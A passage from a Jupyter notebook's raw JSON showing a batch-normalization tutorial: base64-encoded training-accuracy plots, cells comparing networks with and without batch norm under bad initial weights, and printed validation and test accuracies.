v\n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\nB8JCjwAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7c2fd160>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 0.01, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As the plot shows, without batch normalization the network never learns anything at all. But with batch normalization, it actually learns pretty well and gets to almost 80% accuracy. The starting weights obviously hurt the network, but you can see how well batch normalization does in overcoming them. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 0.01, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 15, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:45<00:00, 1108.50it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.22019998729228973\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:34<00:00, 531.21it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.8591998219490051\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.22699999809265137\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.8527000546455383\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYUAAAEWCAYAAACJ0YulAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xd8VfX9+PHXOzd7DyDsIYJsIkZQlBq0VNx7VKvS1lLb\notXa9mt/ba32a1vratXSUmudpaK1DlT8UldUCshQhuxNwk4CITd7vH9/fG7CJWTchNwM7vv5eOSR\ne8/5nHM+n5ub8z7ns46oKsYYYwxAWEdnwBhjTOdhQcEYY0wdCwrGGGPqWFAwxhhTx4KCMcaYOhYU\njDHG1LGgcAITkYEioiIS7nv/rojcEkjaVhzr/4nI08eTXxMcIjJLRH7Z0flojohkiciatk5rWkZs\nnELnJSL/ByxR1XvrLb8M+CvQV1Wrmth+ILANiGgqXSvSZgH/UNW+zRaijfiO+RFwj6r+vr2O255E\n5D7g50CZb9Ee4D/Ab1R1T0flqyEiMgl4t/YtEAsU+yUZoao72z1j5rjZnULn9jzwDRGRestvAmY3\nd/I+wdwCFAA3t/eBW3v31Eovq2oCkApcAfQElotIr9bsTEQ8bZm5Wqr6qarGq2o8MNK3OLl2Wf2A\nICJhImLnmy7A/kid2xtAGjCpdoGIpAAXAy/43l8kIl+IyGERyfFdbTZIRLJF5Fbfa4+IPCIieSKy\nFbioXtpvisg6ESkSka0i8l3f8jjcFWJvEfH6fnqLyH0i8g+/7S8VkTUicsh33OF+67aLyI9FZJWI\nFIrIyyIS3US+44CrgR8AQ0Qks976s0Vkoe9YOSIyzbc8RkQeFZEdvuMs8C3LEpHcevvYLiJf9b2+\nT0ReFZF/iMhhYJqIjBeRRb5j7BGRP4lIpN/2I0XkPREpEJF9vuq0niJSIiJpfunGicgBEYlorLwA\nqlqpqmuA64ADwN2+7aeJyIJ6eVcROdn3+jkR+YuIzBORYmCyb9kDv